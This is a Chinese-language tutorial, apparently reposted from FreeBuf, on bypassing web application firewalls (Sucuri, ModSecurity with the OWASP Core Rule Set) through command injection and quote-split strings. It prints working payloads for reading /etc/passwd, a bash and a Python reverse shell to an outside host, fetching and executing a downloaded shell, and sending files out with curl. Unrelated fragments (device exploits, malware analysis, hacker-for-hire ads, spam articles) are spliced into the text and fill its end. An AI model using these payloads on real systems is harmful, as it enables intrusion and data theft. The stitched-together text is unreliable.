在Web应用程序防火墙(WAF)bypass技术的榜首部分中,我们现已看到了怎样运用通配符(主要是运用问号通配符)绕过WAF规矩。明显,还有许多其他 *** 可以绕过WAF规矩集,我以为每次侵犯都有其特定的躲避技术。
例如:在SQL注入的payload内运用注释语法可以绕过许多过滤器。也就是说,不运用union+select,而是运用 /?id=1+un/**/ion+sel/**/ect+1,2,3– 这类语法。
这是一项很棒的技术,当政策WAF容许星号*和衔接字符时,就可以起作用。陈述这应该仅适用于SQL注入,不能用于运用本地文件包括或远程指令实行。关于某些特定场景,关于需求维护Web应用程序免受远程指令实行侵犯的WAF来说,这是一个“真实的噩梦”…这就是衔接字符串。
衔接在许多编程语言中,字符串衔接符是一种运算符。+(加号)经常被重载标明为字符串参数衔接:”Hello, ” + “World”相当于”Hello, World”。在其他语言中,有一个独自的运算符“.”能对字符串的隐式类型进行转化,也能进行衔接,例如Perl、PHP与Lua等。
$ php -r 'echo "hello"." world"."n";'hello world$ python -c 'print "hello" + " world"'hello world
但假设你以为这就是衔接字符串的仅有途径,那就大错特错了。
在一些语言中,例如C,C ++,Python以及可以在Bash中找到的脚本语言/语法,有一种叫做字符串文字衔接的东西,这意味着相邻的字符串文字是衔接的,不需求任何运算符,例如”Hello, ” “World”相当于”Hello, World”。这不只适用于printf和echo指令,而且适用于整个bash语法。
以下每个指令都具有相同的效果:
# echo test# echo 't'e's't# echo 'te'st# echo 'te'st''# echo 'te'''st''# python -c 'print "te" "st"'
发作这种情况是由于一切相邻的字符串文字 对功用、流量等政策的处理不给力在Bash中是衔接在一起,实际上’te’s't’由三个字符串组成:字符串te,字符串s和字符串t。此语法可用于绕过根据“匹配短语” 的过滤器(或WAF规矩)(例如,ModSecurity中的pm运算符https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#pm)。
SecRule ARGS “@pm passwd shadow groups”…ModSecurity中的规矩将阻挠包括passwd或shadow的一切央求。可是,假设我们将它们转化为pa’ss’wd或许sh’ad’ow呢?就像我们之前看到的SQL注入的语法相同,它运用注释拆分来查询,在这儿我们也可以运用单引号’拆分文件名和系统指令,并创建衔接字符串组。当然,可以运用衔接字符串作为任何指令的参数,不只仅是容许衔接途径乃至实行Bash指令的时分才华运用。
以下指令的几个示例:
$ /bin/cat /etc/passwd$ /bin/cat /e'tc'/pa'ss'wd$ /bin/c'at' /e'tc'/pa'ss'wd$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
现在,假定现已在应用程序的url参数上发现了远程指令实行。假设有一条规矩阻挠像“etc、passwd、shadow”等这样的短语,你可以用这样的东西绕过它:
curl …/?url=;+cat+/e’t'c/pa’ss’wd
开端检验下,我将运用以下PHP代码,以便像平常相同在Sucuri WAF和ModSecurity进行比较检验,运用的PHP代码是:
<?php if ( isset($_GET['zzz']) ) { system('curl -v '.$_GET['zzz']); }
首要,我检验运用这个PHP应用程序,以取得google.com的呼应体,而无需编码参数的值:
curl -v ‘http://test1.unicresit.it/?zzz=google.com‘
它按预期工作了,google.com 回来302页面说我应该重视方位你可以估测出在头单元上运用根权限来实行代码并不难,尤其是当默许设备的是常用的通讯东西时,比如netcat(nc)。我们希望这个缝隙可以更超卓一点(修改注释:这是假话!),虽然在头单元上实行代码不是很困难。下面的四行Python代码可以在未经篡改正的头单元上翻开一个远程根shell,这意味着侵犯者并不需求通过劫持头单元就可以侵犯系统。www.google.de(谷歌正确地将我在法兰克福的服务器地舆定位):
现在,为了运用这个易受侵犯的应用程序,我可以做许多工作,其间一件事就是用分号;分隔并检验实行其他系统指令。
当我检验读取/etc/passwd文件时,Sucuri阻挠了…例如:curl -v ‘http://test1.unicresit.it/?zzz=;+cat+/etc/passwd’
由于以下原因被Sucuri WAF阻挠:“An attempte自动化溯源系统有或许大大缩短分析周期。它供应将 *** 挟制映射到特定 *** 环境所需的 *** 特定上下文,减少误报并建议更佳。d RFI/LFI was detected and blocked”我以为(仅仅一个假定,由于用户看不到Sucuri WAF规矩的细节)Sucuri“RFI/LFI检测”规矩运用了我们之前见过的“匹配短语”之类的东西,如列表常见的途径和文件名/etc/passwd等。由于WAF设置的问题,我可以运用两个单引号绕过这个规矩!
payload:curl -v “http://test1.unicresit.it/?zzz=;+cat+/e’tc/pass’wd”
现在能读取passwd文件,但有一个问题是无法运用netcat,由于它没有安装在政策系统上。
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"/bin/ls$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"$
最简略的 *** (几乎没有可以被WAF阻挠的特别字符)是运用bash -i指令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但惋惜的是太杂乱而无法绕过一切检测此payload特征的规矩集,这意味着运用某些PHP、Perl或Python代码来获取反弹shell会很困难。由于这个原因,Sucuri WAF阻挠了我的检验:Obfuscated attack payload detected。
可以检验运用或上传Python反弹shell脚本到可写目录,而不是通过直接在易受侵犯的参数上实行来获取shell。首要,预备python代码:运用curl或wget来下载python代码,vi shell.py
#!/usr/bin/pythonimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<my ip address>",2375));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
然后像平常相同运用python -c SimpleHTTPServer或php -S等打开公网可访问的Web服务器…然后从政策网站下载shell.py文件,我运用了以下语法:
curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
Sucuri WAF没有阻挠这个央求,但一般ModSecurity会阻挠,假设你想保证绕过一切“匹配短语”规矩类型,你可以运用wget + ip-to-long conversion + string衔接:
.../?zzz=wg'e't 168431108 -P tmp.../?zzz=c'hm'od 777 -R tmp.../?zzz=/t'm'p/index.html
榜首个指令用于wget下载shell文件到/tmp/目录。第二个运用chmod使其可实行,第三个是实行文件。正如你所看到的,wget指令央求特定的文件,所以下载的文件被命名为index.html。可以通过netcat的nc指令运用手艺编写呼应头和呼应体来揭穿这个文件,如下所示:
现在开端我的困难之旅。。。
Bypass ModSecu后来,我们的伙伴通过wLibraryhich供应了其智能家居的静态IP地址,这大大简化了我们的侵犯任务,这样,我们可以访问处理面板登录表单。rity and the OWASP Core规矩集或许你以为此payload可以绕过OWASP中心规矩集,就像我们在之前文章[由于文章还未发布,审阅可以在这儿弥补]中看到的那样… 但基本上不会成功。这是由于有两个叫做normalizePath和cmdLine的小东西。在ModSecurity中,它们被称为“转化函数”,用于在输入数据时进行匹配(例如,运算符实行)之前更改输入数据。输入数据永久不会被修改,由于ModSecurity将创建数据的副本,对其进行转化,然后针对效果工作运算符。
normalizePath:它从输入字符串中删去多个目录自引证和目录后引证(在最初时有输入在外)的斜杠,。
cmdLine:由Marc Stern开发,这个转化函数通过标准参数值并触发一切规矩(如LFI,RCE,Unix指令等)来避免运用转义序列…例如/e’t'c/pa’ss’wd不会转化为/etc/passwd。它做了以下许多工作:
1 删去一切反斜杠
2 删去一切双引号 “
3 删去一切单引号 ‘
4 删去一切刺进符号 ^
5 在斜杠前删去空格 /
6 在翻开括号之前删去空格 (
7 将一切逗号,和分号;替换为空格
8 将一切多个空格(包括制表符,换行符等)替换为一个空格
9 将一切字符转化为小写
由于cmdLine转化函数,一切运用衔接字符串运用RCE的检验都被规矩932160阻挠:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )""o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase""ruleId":"932160"
现在我无法读取/etc/passwd,但不要绝望,OWASP中心规矩集发现公共文件,途径和指令时会阻挠它们,但它不能对政策应用程序的源代码实行相同的操作。我不能运用分号;字符(这意味着我不能损坏curl语法)但我可以运用curl的exfiltrate功能将文件发送到我的远程服务器。这将适用于从0到3的防护等级。
窍门是通过POST HTTP央求将文件发送到远程服务器,curl可以运用data参数来实行此操作-d:
curl -d @/<file> <remote server>
以下的央求,已将@url编码为%40:
curl “…/?zzz=-d+%40/usr/local/&现在我们将虚拟机恢复到默许情况,此时calc.exe恶意软件还没有工作。hellip;/index.php+1.1.1.1:1337″
假设政策的防护等级设置为4,则一切这些都不会起作用,由于payload包括衔接字符,正斜杠等字符…好消息是在出产环境中很少发现防护等级是4。
反斜杠是新的单引号:)相同的技术也可以运用反斜杠字符,反斜杠不是衔接字符串,而仅仅一个转义序列:
现在只写到这儿了,感谢我们的阅览。
其他附上一些有用的参阅文章:
1. Bypass a WAF by Positive Technology
https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf
2. Web Application Firewalls: Attacking detection logic mechani *** s by Vladimir Ivanov (blackhat USA 2016)
https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf
3. SQLi bypassing WAF on OWASP by Dhiraj Mishra
https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
*参阅来历:medium,生如夏花编译,转载请注明来自 FreeBuf.COM
课程在线:Web应用程序防火墙(WAF)bypass技能(二)
怎样选择Fuzzing的⽬标?处理数据回来效果三、docker进程审计前语Web应用程序防火墙(WAF)bypass技术(二)
课程在线if !client.sys.config.sysinfo['BuildTuple'].blank? with open(filename) as config_file:我们之前说过,当靶机工作了我们的shellcode,会在内存里面开荒一块土地,这个当地就是为我们的metsrv留的,metsrv.dll这个文件是meterpreter的中心主件,有了他,我们才华获取到一个meterpreter shell,当metsrv传输成功之后,shellcode就会把控制权转给metsrv,metsrv这时再去央求其他两个dll文件stdapi和priv。这个时分我们一般就会看到一个让人振奋的提示:
本文中,作者通过对OpenVPN的ovpn配备文件进行修改,构建出一个衔接到远程控制端的反弹shell,悄无声息地完成对OpenVPN用户系统的控制处理。如前文所述,内核模块在镜像回调函数中将模块“stub.bin”通过APC注入到svchost.exe进程,而“stub.bin”是“隐蜂”R3层插件的初始Loader,它会从开端填充的参数中加载后续中心模块 “subsystem”,在修改重定位和填充IAT后直接跳转到OEP实行。“subsystem”模块担任实行晋级LUA脚本并解析加载R3插件MRFS镜像;其他作为基础模块,与前文内核模块“kernel”类似,通过R3层“mpsi.dll”API接口导出中心功用给后续模块运用;除此还会创建Timer守时检测内核映像回调是否被去除、删去dump文件、挂钩绕过失常内存检测等。以上这两个东西都很好,我个人比较喜爱用 jadx ,后续的检验中我会用它来进行。1.10%课程在线
这儿需求留心的是,系统360卫士托盘图标或许直接闪现在桌面右下角的系统托盘上,也或许在躲藏的系统托盘区域。两种情况都需求考虑到需求留心的是,这种 *** 不只可以绕过S8的虹膜辨认系统并解锁手机,而且相同的技术还可以容许侵犯者访问政策用户的手机钱包。就在上星期,三星支付(Samsung Pay)发布了一个关于虹膜扫描的宣传视频,三星公司还在广告中标明:“每一人的眼睛都是绝无仅有的,三星支付可以让你用自己的眼睛来结束购买支付。” # su without a password.
else if (mod == 1) result = (n & 0xBAAAD0BF) * (3 + n);5. Arduino的开发板有相应的bootloader(在FLASH高地址)可以和avr libc项目中的avrdude.exe软件通讯,结束固件的烧写和读取动作。在Arduino开发板复位时,会加载bootloader,这时分就可以运用avrdude.exe和bootloader通讯。复位操作可以通过开发板上的复位按钮,或许编程结束软复位操作(假设开发板支撑的话)。这个结束之后,我们想要找到token的地址,由于这是我们想要替换的东西。它位于offset 0x358处,如下图所示: unsigned long eax;Web应用程序防火墙(WAF)bypass技术(二)
课程在线NULL, // seekoff3.1 设置合理的初始文件权限 "Publisher"="ExpLife"
通过我们一段时间的寻找,我们发现在其时互联网环境中生动“Bloom”病毒的两个版别,我们暂时称他们为“Bloom”病毒的“榜首代”和“第二代”。如下图所示:
在2015年揭穿的缝隙数据中,71%的缝隙会合在移动业务网关、服务器端,侵犯者把移动运用作为进口进行分析,而缝隙发作及修改需求在服务器端结束。移动运用本身引起的缝隙占总比25%。
I: Copying unknown files...课程在线
drwxr-xr-x 2 root root 4096 Aug 28 03:13 20140828
#不容许页面从结构frame 或 iframe中闪现,这样能避免clickjacking
(一)、MySQL数据库Web应用程序防火墙(WAF)bypass技术(二)2.打开XP&2003终端服务
将以上代码另存为hello-x64.a *** ,再在终端输入以下指令:
a.2 cdcd openssl-SNAP-20160104/
11、Upfile_Article.asp bbs/upfile.aspsystem kernel service defender NOTICE: CREATE TABLE /...
聊天赚钱软件哪个最火(可以开车的聊天app)2019新年伊始,社交工具的争夺战已经是烟火横飞。1月15日,字节跳动(抖音)旗下的多闪、快播王欣的马桶以及罗永浩的聊天宝悉数亮相,三款产品有一个共同的目的...
几年才能成为黑客(毕业几年才能考二建)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客...
无锡拆迁(无锡市拆迁政策) 最新消息!无锡住建局公布了关于长江机电地块旧城改造项目房屋征百思特网收方案! 小编给大家整理了一下征收范围、房屋评估、补偿政策、补偿标准、定销商品房、产权调换房...
本文导读目录: 1、知道老公手机的开机密码,怎么找回他和别人的聊天记录? 2、我跟老公的聊天记录他的删了、我的还在、他的是否可以找回来? 3、老公删除的QQ聊天信息怎么恢复 4、怎么恢复删...
所有女人的愿望都是希望自己能永远美丽动人。随着经济水平的提高,越来越多的女人选择走进美容院追逐美丽,也有越来越多的年轻女孩怀抱美好憧憬加入美容师的行列。对于一个新手美容师来说,培训必不可少。那么,美容...